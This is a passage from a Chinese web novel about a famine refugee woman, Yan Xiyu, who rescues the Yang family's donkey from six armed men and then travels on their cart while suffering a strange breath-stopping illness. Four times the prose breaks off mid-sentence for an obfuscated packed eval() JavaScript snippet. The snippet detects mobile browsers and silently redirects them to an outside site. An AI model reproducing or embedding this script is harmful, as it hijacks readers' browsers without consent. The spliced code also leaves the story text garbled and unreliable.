做好这一切之后,她带齐东西又向小树林里走去。 官差每次歇息的时候,都会尽量找靠近水源的地方,这样灾民才能有水喝。 小树林里有条小溪,溪水潺潺,燕惜妤恨不得躺里头睡一觉。 她边叹气边把羊皮水囊灌满水,又把双手连带手腕浸泡在凉爽的溪水之中。 在夏日炎热的高温里,把手腕上的脉搏浸泡在凉水中,能缓解身体的热度。 溪水很凉爽,燕惜妤蹲在溪边浸着手,自己给自己鼓劲,这才站起来准备继续赶路。 就在这时,旁边小树林里忽然传出了驴子的叫声。 驴? 燕惜妤刚才还半死不活的,这会儿忽然就来了精神。 有驴子?会是野驴吗? 燕惜妤都顾不上手还湿着,拎起旁边的包裹就蹿了过去。 杨大柱和杨二柱俩兄弟每日负责去找野菜拾柴火还有牵驴子去吃草喝水。 今日也一样,俩兄弟喝了粥,立即就牵着驴子来溪边,任由驴子在溪水吃草,他们俩兄弟在树荫下闭目养神。 就在半梦半醒之间,忽然听见了驴叫。 俩人一个激灵猛地翻身坐了起来,睁眼一看,就见自家的驴子被好几个人围着,那些人手里都还拿着刀! “住手!你们干什么!”杨大柱一声喝骂刚出口,人已经冲了过去。 杨二柱紧跟着兄长的身后也跑了过去,还边跑边抽出了腰间别着的砍刀:“敢动我家驴子,老子剁了你们!” “快!把驴子杀了!”皮狗是兄弟几人的老大,他一手抓着刀,另一只手牢牢地扯着驴子的缰绳在低吼。 胖头是个憨的,皮狗说杀驴,他就直愣愣地把手里的尖刀刺向驴子! 好在杨大柱已经冲了过来,他手里的砍刀一挥,一下子就架开了胖头刺过来的尖刀:“我看谁敢动我家的驴!” 杨二柱紧跟在他身后,一砍刀就劈向皮狗扯着缰绳的手,皮狗下意识手一松,杨二柱的人已经揽着驴子的头向后退。 不过杨大柱只有俩人,而皮狗他们一共有六人,个个手里都有刀,一下子就把人和驴子都包围了起来。 “人都要饿死了,你家还养驴子!”皮狗拿刀指着杨大柱兄弟俩,一脸的大气凛然,“我们几兄弟帮你把驴宰了,分一份给官差,剩下的你我平分。” 燕惜妤刚走近就听见这句话,再一看,嘻,那头驴子不是这一路都在给她带路的驴子吗。 “你!”杨二柱大概是没想到还能有这么厚颜无耻的人,他举着砍刀指向皮狗,“我家养的驴,你说宰就宰,你算老几!” “这驴今儿个你不宰也要宰!”皮狗举着刀的手向前一挥,“兄弟们,上,宰了他的驴!” 正当剑拔弩张的这一刹那,突然“咚”的一声石头砸在水里的声音惊动了他们。 几人下意识转头,就看见一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282621|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身材高挑,皮肤黑黄的女子站在一旁正看着这边。 这女子头戴箬帽,背着个旧背篓,怀里还抱着个脏兮兮的包裹,一看就知道是同路的灾民。 “滚!”皮狗对着来人凶巴巴地挥了挥手里的刀。 石熊是兄弟六人之中年龄最小的,他这年纪一看见姑娘就会变得扭捏:“姑娘,你退后些,等我大哥宰了驴,我给你送半个驴腿。” 瘦蛇一巴掌拍向石熊的脑瓜子:“说什么呢,给她一块驴肉就行了,你还给半个驴腿!” “快滚!”皮狗凶狠地又喊了声。 杨大柱和杨二柱认不出这就是他们娘给了野菜糊糊的人,但他们知道刀剑无眼,于是杨大柱开口:“姑娘你快离开!” 燕惜妤不退反进,在两伙正对峙着的人注视下,抬脚向着这边走来。 她走的很慢,灾民们都是这样子走路的,每天睁开眼就开始赶路,每个人的脚都是抬不起来的,个个拖着步子往前挪。 皮狗已经没什么耐心了,他转身举着刀凶神恶煞地吼:“你干什么的?” 燕惜妤慢条斯理地回:“护驴的。” 皮狗一愣,忽然咧着嘴怪笑了两声:“嘻,就你这小娘子还护驴?” 他大跨步向前一迈,举着刀刚想动手打人,下一霎眼前一花,颈前陡然感到一阵凉意。 有人正站在他的身后,而且对方的指尖压在了他的颈侧。明明对方的手指若有似无地压着,换作平日,他早就挣脱出来,还能反手给对方一肘,但此时他偏偏不敢动。 在这一瞬间,所有的人都愣住了,个个眼中都有着惊愕,那表情像是青天白日见了鬼似的。 皮狗只觉得自己的头皮都要炸了,他僵着身体不敢动弹,眼珠子努力向后瞥,说话的声音都开始哆嗦起来:“姑、姑娘……啊不是,女俠,女侠!这驴、这驴我们不宰了,再也不宰了!女侠饶命!饶命啊!” 燕惜妤站在他身后,左手抱着包裹,右手反掐着对方的脖子。 “驴不宰了?”燕惜妤的声音和之前没什么变化,仍然很轻柔很悦耳,听着就让人觉得平和。 但皮狗听着这声音却觉得像催命符一样,这女侠从头到尾只说了一句“护驴的”,然后自己脖子就到了对方手里。这要是她多说两句,自己这脖子不得立马就断成两截啊! “问你话,”燕惜妤动了动掐着对方脖子的手指,“驴不宰了?” “不宰了不宰了!”皮狗闭着眼睛大声求饶,“女侠饶命!” 命字才刚出口,掐着他脖子的手倏地消失。皮狗猛地睁大眼睛,方才还在他身后的人,莫名其妙“咻”一下就站在了驴子的旁边。 “嚯!”这一下,别说是皮狗他们六兄弟,就连一直护着驴子的杨大柱俩兄弟也是扔下驴子撒腿就跑! 皮狗这边正害怕着呢,杨大柱俩兄弟人已经蹿到了他们六兄弟的中间,八个人瞬间挤成了一团! 六兄弟被他们来了这么一出,瞬间就乱了阵脚,一方想着“我们刚才要宰他家的驴,这会儿是不是要来拼命”,另一方却是在想“这六个傻子还站着干嘛快跑啊”! 双方一个眼神对视,立即就懂了彼此的意思,刚想跑,身后忽然传来幽幽的声音。 “跑什么?” 三个字,八个人瞬间定在原地不敢动弹! 15. 第15章 燕惜妤站在驴子旁边,伸手摸了摸驴子的耳朵,驴子一双圆溜溜的眼睛看着她,很亲昵地凑过来碰碰她的包裹,然后继续低头吃草。 这傻傻的驴子,不知道刚才差点它就被宰了,也不知道养它的人把它给丢下自个儿跑了。 燕惜妤看着挤在几人中间的兄弟俩,有些奇怪地开口:“跑什么?”你俩还躲他们中间,忘了他们想要宰你家养的驴了吗。 “没、没跑,”杨大柱连忙说,他和杨二柱互相看看,又去看自家那正在休闲吃草的驴子,一时不知道该不该去把驴子要回来。 “驴子不要了?”燕惜妤不解地看着他,“你们把驴子扔在这,是想让我把驴子给你们牵回去?” “不、不是,”杨大柱硬着头皮又走了回来,伸手去牵缰绳的时候,双眼一眨不眨地盯着站在驴子旁边的人,只要对方动一下,他就又把驴子丢下转身就跑。 燕惜妤没留意他的视线,看着驴子站着没动。 杨二柱也紧张兮兮地看着自家兄长,而皮狗几兄弟,你看看我,我看看你,很有默契地小心翼翼地,轻手轻脚地后退,等退出了几步,见没人留意他们,猛地转身“哗啦”一下全跑了。 他们一跑,只剩下杨二柱傻傻地杵在原地,顿时觉得浑身发凉,无意识地缩了缩脖子。 当杨大柱把缰绳牵在手里的时候,他早就出了一身的冷汗。发现眼前这人确实对他不在意,这才在心里悄悄地长出了一口气。 “多、多谢女侠帮我赶走了那几个泼皮,”杨大柱牵着缰绳弯腰道谢。 “我不叫女侠,我叫燕惜妤,”燕惜妤这是第一次对别人说出她自己的名字。 “燕姑娘,多谢燕姑娘救了我家驴子,”杨大柱连忙恭恭敬敬地再次低头弯腰,“我叫杨大柱,他是我弟杨二柱,实在是多谢燕姑娘救了我家驴子。” 一般这个时候,回一句“不用谢”,这事也就了了。 但燕惜妤却忽然说:“你是真心想要感谢我吗?” “那是当然!”杨大柱被人用怀疑的语气这么一问,忽然就不害怕了,他嗖一下挺直腰杆,“我杨大柱一口唾沫一钉,绝对是真心的。” “那好,我以后跟在你家后面走,一直到边地的这段日子里,如果我想要坐在你家驴车上赶路,你能让我坐上去吗?” 箬帽挡住了燕惜妤的眼睛,但杨大柱知道对方正在看着自己。 “能!”杨大柱肯定地点头,“燕姑娘帮我救了我家的驴子,让你一直坐着都成。” “那倒不用,我有需要会去找你,你提前和你家人说一声,”燕惜妤说完,转身慢悠悠地走了。 当她从杨二柱身边走过的时候,杨二柱也不知道为什么,整个人站得笔直。 等人消失在树林里,杨大柱和杨二柱这才敢大口喘气。 “大哥,”杨二柱小跑着走到杨大柱的身边,“那女侠、那燕姑娘身手当真是了得!” “嗯,”杨大柱点点头,牵着驴子带着弟弟走出树林,“这事等下我同爹娘说。” “大哥要怎么说?那燕姑娘是真的会来坐我们家的驴车吗?”杨二柱忍不住开始猜测,“燕姑娘身手那么好,是不是从皇宫里出来的高手?” “这哪个晓得,”杨大柱瞥他一眼,“别多嘴,也别到处乱说,当心惹祸上身。” “我不说!”杨二柱连忙摇头,但他双眼在发光,“燕姑娘一看就是有要事在身,她藏在咱这些灾民里,穿的吃的和大家伙一样……肯定是在干大事!” “闭嘴!”杨大柱骂了他一声,“什么事都没有,燕姑娘就是个普通的灾民!” “对对对!”杨二柱连忙不停点头。 他们俩兄弟一路忐忑地牵着驴子回到家人的身边,杨大伯连忙过来帮着把木板车套上驴子,然后叫家人跟上前面的队伍。 刚歇息完,老人小孩这会儿身上都有点儿劲,也就不需要坐在驴车上,大家都围着驴车沉默地赶路。 杨二柱边走边左看右看,一个转身,就看到了跟在后面的人,吓得他连连给杨大柱使眼色:“大哥大哥,你快看!” 杨大柱正愁着呢,被他这么一喊,再那么一看,心里顿时也不淡定了。 他一咬牙,走到了爹娘的身边:“爹,娘,我有件事要同你们讲。” “啥事?”杨大娘问他。 于是杨大柱低声把刚才在溪边被人围着要宰驴,又被女侠出手相救的事情说了出来。 “啊?是哪些个王八糕子敢宰我家的驴?”杨大娘又惊又气,还去扒拉自家的俩个儿子,“你们兄弟可伤着了?” “我和阿弟都没事,”杨大柱摇头,“不过我刚才答应燕姑娘了,这一路上她要是想坐咱家的驴车,我都同意。” “是该同意,”杨大伯牵着缰绳说,“那你咋没把燕姑娘叫过来坐驴车,她是咱家的大恩人。” 买一头驴子可不便宜,他老杨家种着几亩薄田,靠天吃饭的人家,整整攒了五年多,才咬着牙买了这头驴子。 眼下一家人老老少少的又要一直赶着路去边地,在这节骨眼上如果真被人宰了驴子,那可真是糟大难了。 “她没说现在就坐,”杨大柱低声说,“爹,我总觉得那燕姑娘是大有来头的人,咱家可千万别招惹到她。” 他刚才只说被女侠救了,但没细说女侠具体是怎么救的他兄弟俩,他怕说给家人听了之后,要是到时候出了什么岔子,他家人毫不知情,也就对燕姑娘造不成威胁…… 不过再一想,就燕姑娘那身手,无论要杀谁都是逃不掉的。 杨大柱愁的啊,一路上都在唉声叹气。 他媳妇方翠红用力拧了他手臂一下:“掉银子了?这一路上叹的,气都叹没了吧?还能喘气不?” “……就是想快点到边地,这一天天走着,咱家双好双全好好的一双腿都该走坏了,”杨大柱说的也是真话,他家一对儿女一个五岁一个三岁,这会儿也全都在走着路。 “嗯,”方翠红应了声,她也心疼自己的娃,但总要先安抚好自家夫君,于是她伸手指了指后头,“那就是之前娘让咱双全送野菜糊糊的姑娘。” “是吗?”杨大柱不甚在意地转头一看,整个人顿时僵住了。 “咋的了?”方翠红瞪他,“姑娘好看是吧?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282622|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊可千万别胡说,”杨大柱吓得差点要捂自家媳妇的嘴,“那是燕姑娘,方才她帮我和阿弟救了我家的驴子。” 杨大柱又把事情说了一遍,他的妹妹杨柳丫也在旁边听着,听完之后表情有点儿懵:“啊?她身手不错?那她为啥啃树皮?” 杨大柱哪里知道燕姑娘为什么啃树皮,但他有自己的想法:“许是不想过于引人注意。” “可她啃树皮啃的一嘴血,都把咱双好吓哭了,她那叫不想引人注意?”杨柳丫总觉得自己兄长这话说的不对。 其实杨大柱也觉得,如果燕姑娘真的不想引人注意,她就不该使出她的真功夫,就她那咻一下的轻功,这么使出来一次,要是被武林中人看见,立马就能猜出她的真实身份。 可这话杨大柱不能讲出来,所以他只能说:“……高人的想法与我们总是不同的。” 任他说得再天花乱坠,没亲眼见到的杨柳丫就是不信他。 杨柳丫撇着嘴小声嘀咕着:“那她个子长得倒是挺高的。” 高个子的燕惜妤也在发愁。 她直到今天才发现,她因为灵魂和身体未能完全融合,导致她无法掌控她的天赋。 刚才她原本想控制一下速度的,但她控制不了,身体不听使唤。 “这就麻烦了……”燕惜妤双手搂着包裹无奈地自言自语,“还好刚才手里没拿着刀,要不然那人的脖子……”杀人是要偿命的啊。 看来下次要找机会试一试,看有没有能掌控天赋的方法了。 又是赶了一下午的路,这次官差停在了快干涸的水溏边。 燕惜妤微张着嘴靠着树干坐着,连拔羊皮水囊塞子都懒得拔了。 官差已经在叫人去帮忙煮粥,那些人为了能多得到半块硬馍,愣是拖着发僵的双脚帮忙。 等官差放饭的时候,燕惜妤这才终于动了一下,她从背篓里取出陶钵,然后背着背篓,一手搂包裹一手端着陶钵去等粥。 连吃了好几天的粥水配腌菜,一般人估计都没胃口,但燕惜妤现在又渴又饿,她觉得自己能吃下一大铁镬的粥。 燕惜妤端着陶钵顺着人群往前走,旁边已经有人坐在地上喝着粥了。 刚煮好的粥,很烫,而且还水多米少,有些心急的灾民对着碗吹一口气,然后再小小地抿一口粥水。 有些怕烫的灾民则是将碗放在地上,时不时地对着碗吹着气。 也不知等了多久,才轮到燕惜妤。 燕惜妤小心翼翼地端着陶钵往外走,然后她就看见了之前要去宰杨家驴子的那几兄弟。 皮狗正端着磕破了口子的陶碗在喝粥,他也不用勺子,“咕噜咕噜”地仰头就把粥灌进他自己的嘴里。 等他放下碗的时候,碗里没了粥水,不过还剩下不少米粒,皮狗这才抢了旁边坐着的墩子手里的勺子,然后小心翼翼地把碗里的米粒勺给了另一边坐着的老阿婆的碗里。 老阿婆像是早就习惯他这样的行为,有些气恼地抬手拍他的后背:“你是想饿死自己啊?” 皮狗咧着嘴笑,坐着任由老阿婆打。然后他端着碗一抬头,好巧不巧地和一个人四目相对。 16. 第16章 燕惜妤在这人惊悚地想要蹦起来时,端着陶钵继续向前走。 她找到那熟悉的驴子,然后在旁边坐了下来。 她这边小口喝着粥,另一边的杨家人则围在一起边煮野菜糊糊边小声嘀咕。 杨大娘说:“大柱,你去喊燕姑娘过来一起吃点。” 杨大柱坐着没动,杨大娘以为他没听到,又叫了他一遍:“大柱,你去喊燕姑娘过来一起吃点,人家燕姑娘刚帮咱家救了驴子。” 杨大柱偷偷瞥了一眼某个方向,然后吱吱唔唔地说:“娘,咱之前不是给过她野菜糊糊,她当时就换了个地方歇息,我觉着燕姑娘是不想和别人坐在一起,咱还是别去打扰她了。” 杨大娘一愣,看看杨大柱,又去看看杨二柱,有些迟疑地问:“是这样啊?” 杨二柱显然也很认同他兄长说的话:“我哥说的对,燕姑娘自己没开口,咱还是别出现在她面前了,免得招她厌烦。” 他们俩兄弟讲的头头是道,杨大娘一个妇人家也只能听儿子的。 一天过去,夜幕降临,灾民们露天睡着,大多数都是在自己身上盖了件薄衫,有些带着家当逃荒的灾民,身上盖的则是破旧的薄被褥。 夜里没人再去水溏取水,污浊的水会慢慢沉淀,燕惜妤这才带着羊皮水囊去水溏边灌满了水。 在这种情况下,她也没想着能喝上煮开的水,一路上能找到水源已经算好的了。 随便找了棵树靠着躺下,背篓用旧绳子绑在手腕上,然后枕着包裹睡觉。 好像才刚闭上眼睛,天就已经亮了,这种一睁开眼睛就要靠双脚走路的日子太累人了。 慢吞吞地喝了粥,收拾好陶钵之后,就又要赶路了。 燕惜妤叹着气站起了身,结果眼前一晃,她差点儿摔倒。 嗯? 燕惜妤拧着眉闭了闭眼睛,发现自己的身体又出现了要断气的预兆。 她抬头寻找杨家的驴车。 杨柳丫这两天一直在留意着她大哥口中说的燕姑娘,觉得那燕姑娘肯定是眼馋她家驴车了。 当她再一次瞪人的时候,正巧和人家对上了视线,然后杨柳丫就猛拍杨二柱:“二哥,那燕姑娘走过来了!” “什么?”杨二柱吓了一大跳,他一个转身看了一眼之后,又连忙转了回来,然后他也去找他的兄长,“我哥呢?嫂子,我哥呢?” 方翠红回他:“说是看到有根干树枝,要去拖回来。” 杨二柱慌得差点儿跳脚。 杨柳丫还一个劲地在催他:“二哥你快想办法啊!” 杨二柱被她嚷嚷的越来越慌,最后一咬牙,撒腿跑了过来。 燕惜妤见杨家兄弟其中一人忽然跑了过来,停下了脚步。 不过几步路的距离,杨二柱却跑出了一身的汗,他也不敢抬头看人,只低着头小声问:“燕姑娘,你是要坐我家的驴车吗?” “是,”燕惜妤搂着包裹说。她就是怕在路上会出现忽然断气的情况,所以在救人家驴子的时候,才会提出有需要的时候会坐杨家的驴车。 “哦,那个,我……”杨二柱也不是不想让人家姑娘坐他家的驴车,但这姑娘是女侠是高手,他在心里害怕。 “我身体不好,还在生着病,”燕惜妤打断他,提前把会出现的情况说给他听,“我生病的时候,和旁人不同,你如果察觉我断了气,不要怕。” “啊?”杨二柱怀疑自己听错了,人在他面前断了气能不怕吗? “我这病有点奇怪,时不时会忽然断气,你可千万别把我活埋了,”燕惜妤特地说了声。 “什么……”杨二柱还在想着断气不是死了怎么能说是生病时,眼前的突然就朝着他这边直直倒了过来,“燕姑娘?!” 杨二柱慌忙伸出双手去接,他接的了人,但接不了包裹,包裹掉在地上时,杨二柱人还是懵的。 “二柱?”杨大柱这时跑了过来,他见杨二柱托着人肩膀,就低头去看,“燕姑娘这是怎么了?她和你说了什么?” 杨二柱有些茫然地说:“燕姑娘说把她活埋了……” 杨大柱吓了一跳:“什么?!” “啊不是不是!”杨二柱慌忙摇头,“她说、她说她病了,会断气,对,她断气了!” 杨大柱不知道他说的是真是假,睁大眼睛瞪着他,俩人陷入了诡异的沉默。 “你方才说……燕姑娘断气了?”杨大柱忽然开口问,“断气了?”边说还边低头去看杨二柱扶着的人。 “是、是啊……”杨二柱这会像是知道害怕了,他颤着声说,“大哥你、你探探她还有气不?” 杨大柱一言不发地伸出了食指,过了好一会儿,他才低声说:“燕姑娘方才有没有说要把她埋在哪儿?” 大哥这话的意思是说人死了! 杨二柱吓得浑身一哆嗦,整个人下意识往后退了一步。他这么一退,被他托着的人没了支撑,瞬间就往下坠。 “我的娘哎!”杨二柱吓得连忙又伸手去托,还是杨大柱手快,双手一伸,又托住了人的双肩。 杨二柱这么一惊一乍,总算是回过了神,他猛地抓住了杨大柱的手臂:“大哥,方才燕姑娘说她生病了,会时不时断气,叫我们千万不要把她活埋了!” 杨大柱这会儿如果不是双手托着燕惜妤的肩膀,恨不得揍杨二柱一顿:“那你方才说要把燕姑娘活埋了?真要埋了可怎么办?!” 杨二柱被骂的一缩脖子:“我也是被吓懵了,谁知道她说断气就断气,断了气那不是死人吗,我害怕啊。” “怕什么,”杨大柱骂他,“这一路死在路上的灾民你难道没见着?” 杨二柱没吭声。 “去把你嫂子喊来,”杨大柱说。 “喊我嫂子干嘛?”杨二柱下意识问了一句,结果又被杨大柱瞪了,只好缩着脖子跑去喊方翠红。 方翠红远远地就看见自家夫君怀里倒了个女人,正要生气,就被杨二柱喊了来。 她人一来,杨大柱立即说:“翠红,你把燕姑娘抱咱家驴车上躺着。” 方翠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282623|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红看了眼杨大柱怀里的人,先是把对方背上的背篓取了下来,杨二柱连忙伸手去接,然后方翠红弯腰把人横着抱在怀里。方翠红从小就做各种农活,力气很大,怀里抱着个人,走起路来是一点儿也不打摆子。 杨大娘这边正在归置驴车上的东西,一抬头就看见自家儿媳抱了个人过来:“翠红,这人是?” 紧跟在方翠红身后的杨大柱连忙说:“娘,她就是燕姑娘,她病了走不动道,咱家驴车拉她一起赶路。” “哎好好,快把人放这边来,”杨大娘连忙让开了位置。 板车不大,平日也就是两个小孩和两个妇人轮流坐坐,方翠红把人一放上去,瞬间就占据了板车一半的位置。 “这戴着箬帽咋躺?”杨大娘说着,帮忙摘了燕惜妤头上的箬帽,又给在身上盖了薄被子。 杨二柱把手里拎着的背篓和包裹放在了板车上,这样一来,小小的板车就只能再坐下最小的小孙女了。 “双好乖,奶奶抱你坐上来,”杨大娘把杨双好放在驴车上,一行人继续跟着队伍赶路。 杨大柱和杨二柱走在最后面,杨二柱越想越觉得这事儿很诡异。 “大哥你说,燕姑娘这生的是什么怪病啊?人怎么能断气呢?断了气那不是死人吗?” 杨大柱摇头:“我也不知道。”他确实是不知道。 “大哥你说,燕姑娘练的是不是说书先生讲的那什么憋气……那什么来着?”杨二柱绞尽脑汁终于想起了那三个字,“龟息功……对,就是龟息功!” 杨大柱想了想,也认同他的这个说法:“估计是。” “说书先生讲的原来都是真的啊,”杨二柱一脸的惊叹,“原来武林高手不只轻功了得,还会龟息功啊!” 杨大柱没说话,但他也一脸的震惊。 “可是方才燕姑娘说她生病了……”杨二柱沉吟了一下,才低声说,“大哥你说,燕姑娘她这是不是练功导致的走火入魔?” 杨大柱下意识点点头,又赶紧摇头:“少胡乱猜测,不知道的事咱不能说。” “哦,”杨二柱不情愿地闭嘴。 灾民死气沉沉地赶着路,等到歇息的时候,燕惜妤还在躺着。 杨大娘边给自家人倒水边发愁:“燕姑娘咋还没醒来?要放饭了,她没醒来咱只能背着她去领饭。” 官差为了防止灾民重复领饭,要求本人亲自过去领才会派饭。 “再等等,”杨大柱只能说,“还没煮好,咱不急。” 大人都忙碌了起来,有去拾柴火摘野菜野果的,有去打水的,只剩下俩小孩儿闲着。 燕惜妤睁开眼的时候,看见的就是俩个小脑袋。 “奶,姐姐醒了!”杨双全原地蹦了起来,然后跳下了木板车,只剩下杨双好还乖乖地坐在板车上。 燕惜妤坐了起来,和杨双好大眼瞪小眼。 杨双好估计是已经忘记了这个姐姐曾经吓哭过她,露出个软乎乎的笑:“姐姐。” “哎!”燕惜妤立即应声,“小娃娃。” 17. 第17章 杨双好可能是觉得这样很好玩,于是三岁的杨双好又喊了一声:“姐姐。” “哎,小娃娃,”燕惜妤又应了她一声。 杨双好“咯咯咯”地在笑,笑着笑着,小肚子也跟着发出“咕噜咕噜”的叫声。 “呀,”杨双好连忙用瘦瘦的小手捂住她自己的小肚肚。 “饿了呀,”燕惜妤伸手去碰杨双好的脸,“让姐姐看看长牙牙了没有?啊~” “啊~”杨双好乖乖地张嘴,露出了她嘴里小小的牙齿。 “长牙了,”燕惜妤摸摸她毛茸茸的有些发黄的头发,拎来她自己的背篓,从背篓里拿出了一个硬馍,怕小孩儿被磕掉牙,于是用手指捏碎了一点儿递了过去。 杨双好连忙张开小嘴巴,燕惜妤轻轻地把捏碎的硬馍放到杨双好的小手,“自己吃,别咬,含着。” 杨双好这下不捂肚肚了,改去捂脸,那样子就像只偷吃了糖的毛茸茸可爱小动物。 “双好?”杨大娘被杨双全拉了过来,先是习惯寻找小孙女的身影,然后才看见坐在旁边的人,“燕姑娘醒了?” “你好,”燕惜妤把手里的硬馍放在小娃娃的手上,然后跳下了板车,“杨大娘,打扰你家了。” “不打扰不打扰,”杨大娘连连摆手,走近才看见自家小孙女手里还拿着个硬馍,“啊这是?” “娃娃饿了,我给她吃点硬馍,”燕惜妤说,“就是硬馍太硬,怕磕坏了她的牙。” “使不得使不得,”杨大娘连忙把硬馍又递了回来,“咱这一路走的山荒水冷的,别说县城进不去,就是路过人家村子,那些老乡见到咱这些灾民立马就关门闭户,你手里有银子也买不到吃的,这个收回去,快收回去。” 燕惜妤不仅没收,还又从背篓里拿了一个硬馍出来:“大娘,你家有锅,烧锅水把两硬馍一起泡了。” “哦好,”杨大娘以为是燕姑娘想吃,接过硬馍又说了一句,“那也不用泡两个硬馍,泡半个就可以了,这硬馍泡开能有好几碗。” “我们一起吃,两个硬馍都不够,”燕惜妤说着,又要去掏背篓,“我再拿……” “够够够,够了!”杨大娘连忙拦住她,“咱家不吃,燕姑娘自个儿够吃了。” “你们不吃,那我凭什么让你烧热水泡馍?”燕惜妤看着杨大娘,“大娘,我脸皮很薄的。” “啊这……”杨大娘犹豫了。 就在这时,又响起了“咕噜咕噜”的声音。 杨大娘回头一看,发现是自家小孙子的肚子在叫,这是饿了。 偏偏杨双全还挺着小身板:“奶奶,我不饿。” 杨双好嘴里在嘬着硬馍碎渣,一双眼睛还巴巴地盯着她手里的硬馍。 “那、那这个,”杨大娘有些为难地看了过来,眼神中带着些羞耻。 “大娘,就两个硬馍,泡了热水吃了才不浪费,”燕惜妤又把她的箬帽戴在头上,边整理头上睡散的布巾边说,“我实在是啃不了硬馍,硬馍太硬了。” 杨大娘忽然就想到之前小孙女被吓哭的事,又立即想到燕姑娘啃树皮啃的满嘴是血,再想到硬馍确实是硬的像石头。 “那、那我就拿去泡热水了?”杨大娘迟疑着说了一声。 “那我端好陶钵等着,”燕惜妤还真从竹篓里掏出了陶钵。 杨大娘立即被她逗笑了:“哎好,那燕姑娘等会儿,我这就去烧水。” 这边正烧着水,那边的官差已经在派饭,杨大柱他们也都回来了。 杨大柱看见和自家儿女蹲在一起的人,愣了一下才开口问:“燕姑娘,你醒了?” “醒了,谢谢大柱哥帮我,”燕惜妤说完,又去看杨二柱,“也谢谢二柱哥帮我。” “不、不用谢,”杨二柱哪有被人这么正式地道过谢,有着忸怩地挠了挠头。 “娘,在煮啥呢?这么香?”方翠红手里抓着两把野菜走了过来。灾民多,不少人都会摘野菜,她能摘到两把野菜已经算多的了。 “是燕姑娘给的两个硬馍,娘正用热水煮开,”杨大娘边搅着锅里的面糊糊边说,“做硬馍的白面要先炒过,才能耐放,炒过的硬馍泡开才香。” 杨大伯看了眼锅里,粗声粗气地说:“你这婆娘,咋给燕姑娘泡这么多面糊糊,她赶了这许久的路,可不能一顿吃太饱。” 燕惜妤连忙说:“杨大伯误会了,不是我一个人吃的,我们一起吃,是我想要热水,刚才我已经给羊皮水囊灌满了热水,剩下的用来泡硬馍,我们一起吃。” “那可不行,”杨大伯连忙摆手,“咱家怎能吃燕姑娘的食粮呢。” “当然可以吃,烧热水需要柴火和锅,这些都是大伯家的,我出硬馍,你家出柴火和锅,这样我才能有面糊糊吃,”燕惜妤说。 听她这样说,杨大伯不吭声了。 燕惜妤怕他心里不自在,于是转移话题:“大伯方才说不能一顿吃太饱,这是为什么?有的吃还不能吃饱啊?” “你这娃娃,可不能一顿吃太饱,”杨大伯急急地说,“咱这一路赶来,饿太久了,没养好之前,不能吃饱,也不能吃油腻的大鱼大肉,要吃少些还要吃的清淡些,慢慢养着,否则会坏了胃口,以后身体可就糟了。” 燕惜妤还没说话,反倒是杨二柱一脸的恍然大悟:“怪不得官差一天天的只给咱喝着粥水,原来还有这么回事。” “爹同我们说过,你忘了?”杨大柱瞥杨二柱一眼。 杨二柱咧嘴一笑,他平日只顾着到处寻摸吃的,哪里还记得他爹说的这些个事。 “行了,快去领饭,等会回来换我们,”杨大娘催促他们。 于是杨大柱带着媳妇和俩儿女先过去领饭,等他们回来之后,杨大伯再带着杨大娘和杨二柱过去。 燕惜妤跟在杨大娘身后,端着陶钵去领了粥。 这顿杨家没煮野菜糊糊,但他们今日有泡硬馍糊糊。 硬馍的白面是炒过的,泡开后有着白面的香味,杨双好小手捧着碗,一小勺一小勺吃的可香了。 方翠红又是怜惜又是心疼地看着自家小女儿。 她知道公爹手里还有点儿银子,可这荒山野岭的,一是没地儿买吃的,二是等到了边地安顿下来也还需要银钱置办各种家当,公爹手里那点儿小钱都不知道够不够打造两口大铁锅。 一顿粥水再加一碗泡馍糊糊,杨家人和燕惜妤都吃的满足。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282624|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实在是无休止赶路太累人了,能吃到泡馍糊糊也会让人觉得心欢喜。虽然硬馍才一文钱一个,可这些灾民身上就算有银钱,在这荒山野岭叫天天不灵、叫地地不应的鬼地方,哪怕掏出一块金子也买不到一个硬馍。 